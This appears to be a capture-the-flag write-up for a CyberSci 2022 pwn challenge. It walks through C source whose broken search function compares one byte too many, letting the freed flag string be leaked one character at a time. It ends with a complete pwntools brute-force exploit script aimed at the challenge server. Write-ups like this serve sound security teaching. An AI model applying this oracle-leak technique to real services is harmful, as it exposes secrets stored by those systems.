About the challenge
This challenge is the only pwn challenge in CyberSci 2022 and is worth 300 points.
For this challenge, we were only provided with the source code. An instance of the program is spawned when we connect to the given port during the CTF.
Initial Exploration
Since we were not given a binary for the challenge, we can assume that the expected exploit should not require any specific kind of memory corruption.
Looking at main
, we see a global buffer being allocated, and some multiple calls to add_entry
.
We also see a conditional addition and removal of CTFKEY
.
1// main program body
2int main() {
3 stringArea = malloc(MAXENTRYSIZE * 16);
4
5 add_entry("Test entry one\n");
6 add_entry("Test entry two\n");
7 add_entry("Test entry three\n");
8 add_entry("Yet another test entry here!\n");
9
10#ifdef PREPPUZZLE
11 // add_entry("TEST\n");
12 add_entry(CTFKEY);
13 remove_entry(CTFKEY);
14
15#endif
16
17 while(1){
18 process_user_input();
19 }
20
21 return 0;
22}
add_entry
will add the string in the next available and large enough area in stringArea
1//add a string entry, places it in the next large enough slot in our string buffer
2int add_entry(char *entryString)
3{
4 debug_printf("adding %s \n", entryString);
5 int string_space_needed = strlen(entryString) - 1;
6 // if the list is empty, just make a new entry at the beginning
7 if(entry_list_head == NULL){
8 entry_list_head = create_entry(entryString, stringArea, string_space_needed);
9 }
10 //otherwise go through the items
11 //if the item is the first, check if there is a gap big enough infront
12 //then check if there is a gap in between
13 else{
14
15 struct entry *current = entry_list_head;
16
17 char *last_string_start = current->entry_string;
18 char *last_string_end = last_string_start + current->entry_size;
19
20
21 while(current->next !=NULL){
22 debug_printf("element\n");
23 current = current->next;
24 last_string_start = current->entry_string;
25 last_string_end = last_string_start + current->entry_size;
26 }
27 //if we are at end of list, just make a new entry at the end
28 current->next = create_entry(entryString, last_string_end, string_space_needed);
29 }
30}
create_entry
simply places the string in the indicated area in the buffer.
1//helper function to make a new entry
2entry * create_entry(char * entry_string, char * string_location, int string_len){
3 entry *new_entry = malloc(sizeof(entry));
4 if(!new_entry){
5 exit(-1);
6 }
7 new_entry->entry_string = string_location;
8 new_entry->entry_size = string_len;
9 strncpy(new_entry->entry_string, entry_string, string_len);
10 new_entry->next = NULL;
11 return new_entry;
12}
The remove_entry
function can be used to “delete” an entry.
What it actually does is it removes all references to the first entry
that matches with string
, marking the area as free.
1//remove an entry that matches the string
2int remove_entry(char *string){
3 entry *current = entry_list_head;
4 entry *previous = current;
5 while(current != NULL){
6 int string_len = strlen(string) - 1;
7 //first check if strings are same length
8 if(string_len == current->entry_size){
9 //DEBUG
10 debug_printf("same len \n");
11 if (strncmp(string, current->entry_string, current->entry_size) ==0)
12 {
13 printf("found match\n");
14 previous->next = current->next;
15 if(current == entry_list_head){
16 entry_list_head = current->next;
17 }
18 free(current);
19 return 1;
20 }
21 }
22 //move along
23 previous = current;
24 current = current->next;
25 }
26 printf("no match found\n");
27}
The critical part of the program is search_entries
, as it was noted to be broken.
Notice that instead of looking for entries that match the string,
it doesn’t work because entry_len
is defined to be one more than the current entry size.
This results in the program checking one extra byte when searching for entries.
So, if we were to search for an entry that we know exists, search_entry
will not find a match.
1// loop through all the entries and print if there are any matches
2//DEVELOLPER NOTE: this seems broken.....
3int search_entries(char *string){
4 entry *current = entry_list_head;
5 int in_len = strlen(string) -1;
6 while (current != NULL)
7 {
8 //check that the srtings are the same length
9 int entry_len = current->entry_size + 1;
10 if(in_len == entry_len){
11 debug_printf("matching len (%d,%d) \n",in_len,entry_len);
12 if (strncmp(string, current->entry_string, entry_len) == 0)
13 {
14 printf("found match\n");
15 return 1;
16 }
17 }
18 //move along
19 current = current->next;
20 }
21 printf("no match found\n");
22 return 0;
23}
Because of the broken search_entry
function, we would need to be able to know what the next character
is in stringArea
after the entry we’re searching.
Strategy
In a way, search_entry
is an oracle to determining the contents of CTFKEY
.
Since we know the entry before CTFKEY
,
we can use that entry as a search query string, guess the first character of CTFKEY
,
add that to our search query, and see if we get a match or not.
Once we figured out the first character of CTFKEY
we can extend our search query string
to guess for the second character. To do that, we will remove the entry before CTFKEY
,
then add it again with the first character of CTFKEY
.
That way, we can extend our search query string and search_string
would peek for the second character.
We would repeat the process of brute-force searching, removal and addition until we reveal the whole flag.
Exploit code
py 1from pwn import *
2from string import printable
3
4attack_remote = False
5
6if attack_remote:
7 p = remote('10.0.2.43', 10001)
8else:
9 elf = ELF('./main')
10 p = elf.process()
11
12search_payload = b'Yet another test entry here!'
13
14while True:
15 guess_bytes = [bytes(c, 'utf-8') for c in printable]
16 found_valid_byte = False
17 for guess in guess_bytes:
18 p.sendline(b'search')
19 p.recvuntil(b'search for?\n')
20 print('payload: %s' % (search_payload + guess))
21 p.sendline(search_payload + guess)
22 result = p.recvuntil(b'or search :\n')
23 if b"found match" in result:
24 p.sendline(b'remove')
25 p.sendline(search_payload)
26 p.recvuntil(b'or search :\n')
27 search_payload = search_payload + guess
28 p.sendline(b'add')
29 p.sendline(search_payload)
30 p.recvuntil(b'or search :\n')
31 found_valid_byte = True
32 break
33 # if we didn't find any more valid bytes, just quit
34 if not found_valid_byte:
35 break
36
37print(search_payload[28:])